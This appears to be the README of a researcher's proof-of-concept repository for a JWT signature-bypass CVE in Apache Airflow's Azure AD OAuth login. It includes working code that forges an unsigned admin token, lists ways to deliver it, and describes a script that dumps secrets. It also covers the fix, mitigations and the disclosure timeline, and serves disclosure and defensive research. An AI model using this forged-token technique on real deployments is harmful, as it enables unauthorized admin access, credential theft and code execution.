
Proof-of-concept for CVE-2026-59243 demonstrating JWT signature bypass in Apache Airflow FAB Auth Manager's Azure AD OAuth callback due to insecure default.
Korean: README.ko.md
apache-airflow-providers-fab==3.7.3Apache Airflow's FAB (Flask App Builder) Auth Manager decodes Azure AD OAuth id_tokens in _decode_and_validate_azure_jwt(). That function had verify_signature defaulting to False.
# providers/fab/.../override.py (lines 2331–2341 at time of report)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← default is False
)
if verify_signature:
# authlib JWK validation, return claims
...
# default path: skip signature verification entirely
return jwt.decode(id_token, options={"verify_signature": False})
Unless an operator explicitly sets verify_signature: true in client_kwargs, signature verification is off for the whole login flow. Whatever token arrives, its claims get accepted as the caller's identity.
The Authentik integration sitting in the same file defaults to True:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← this one defaults to True
)
Same file, same shape, opposite default. That contrast is what first tipped me off that the Azure default wasn't a policy choice.
Assume Airflow deployed with FAB Auth Manager + Azure AD OAuth, client_kwargs untouched. (The default install.)
Forge an alg: none JWT with whatever claims you want:
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # trailing dot: empty signature
Deliver that token to the OAuth callback (/login/azure/authorized or wherever the integration is mounted). How you actually deliver it varies by deployment: MITM through a misconfigured TLS-terminating proxy, an open redirector with lax redirect_uri validation, or hitting the callback directly with a crafted state. Pick whatever the target gives you.
The moment the token reaches the callback, FAB calls _decode_and_validate_azure_jwt, falls into the default path, and hands the forged claims to the session. Since you sent roles: ["Admin"], you're now logged in as Admin. On Airflow that's effectively everything: Connections, Variables, the Fernet key, and arbitrary code execution as the worker by pushing a new DAG.
Three different assessments landed in three different places, which is actually informative:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:LmoderateThe delta between mine and NVD is one metric: AC. I marked it H because I was thinking of the MITM delivery path narrowly. NVD's analyst went with AC:L, treating any way of getting an id_token in front of the callback (including plain OAuth-flow abuse) as ordinary attacker capability. On reflection, AC:L is the more defensible reading — you don't strictly need to be on-path to abuse a broken signature check. That's why NVD/Strix land at 9.8, and it's the score that will show up in most CVE databases and scanners.
Apache's moderate is a separate judgment call from their own risk model, weighted more toward "how commonly does this precondition arise in real deployments" than toward the ceiling of impact. Not inconsistent with 9.8 — just a different question being answered.
One character.
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Aligns the Azure default with Authentik. If someone genuinely needs signature verification off (self-signed JWKS on an on-prem Azure AD replica, for example) they can still opt in with verify_signature: false in client_kwargs. Much better shape than shipping insecure by default.
Merged 2026-07-07 as PR #69374 / commit 54259ae. Released in apache-airflow-providers-fab==3.7.3 on 2026-07-28.
If you can't upgrade right away, set it explicitly in webserver_config.py:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
Beyond that: keep OAuth callbacks HTTPS-only with strict redirect_uri allow-listing, and rotate any credentials held in Airflow Connections if you have reason to think you were hit.
Docker + pwntools set under poc/:
poc/server.py isolates the vulnerable path (jwt.decode(..., options={"verify_signature": False})) in a tiny Flask app.poc/exploit_airflow_jwt.py forges the JWT, hits the callback, and dumps placeholder secrets from the admin view.poc/Dockerfile and poc/docker-compose.yml bring the target up on 127.0.0.1:5002 (loopback bind).Single command:
cd poc/
./run.sh
If you're running this on a shared box, check the compose bind before starting.
Unrelated refactors shifted line numbers between the original report and current main. File path is unchanged.
File: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md (this file)
├── README.ko.md Korean version
├── LICENSE MIT
├── check_advisory.sh publication watcher (kept for reuse; currently idle)
├── patch/fix.diff one-character fix (anchored to report-time lines)
└── poc/ Docker + pwntools PoC
[email protected]MIT (LICENSE). The PoC is for reproduction and defensive research only. Don't point it at systems you don't own or don't have written authorization to test.
| Symbol | At report (2026-03-18) | In fixed main (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (default False, vulnerable) | 2428–2438 (default True, fixed) |
_get_authentik_token_info() | 414–416 (default True, safe) | 419–420 (default True, safe) |
| Date | Event |
|---|
| 2026-03-18 | Reported to [email protected] |
| 2026-03 through 2026-07 | Delay on Apache's side; an Airflow PMC member later confirmed the initial report was missed |
| 2026-07-03 | First response |
| 2026-07-04 | CVE-2026-59243 assigned, credit info sent |
| 2026-07-07 | Fix merged (commit 54259ae, PR #69374) |
| 2026-07-28 | apache-airflow-providers-fab==3.7.3 released |
| 2026-07-29 | MITRE CVE record PUBLISHED, Apache advisory posted to [email protected] |
| 2026-07-29 | This repository flipped to public |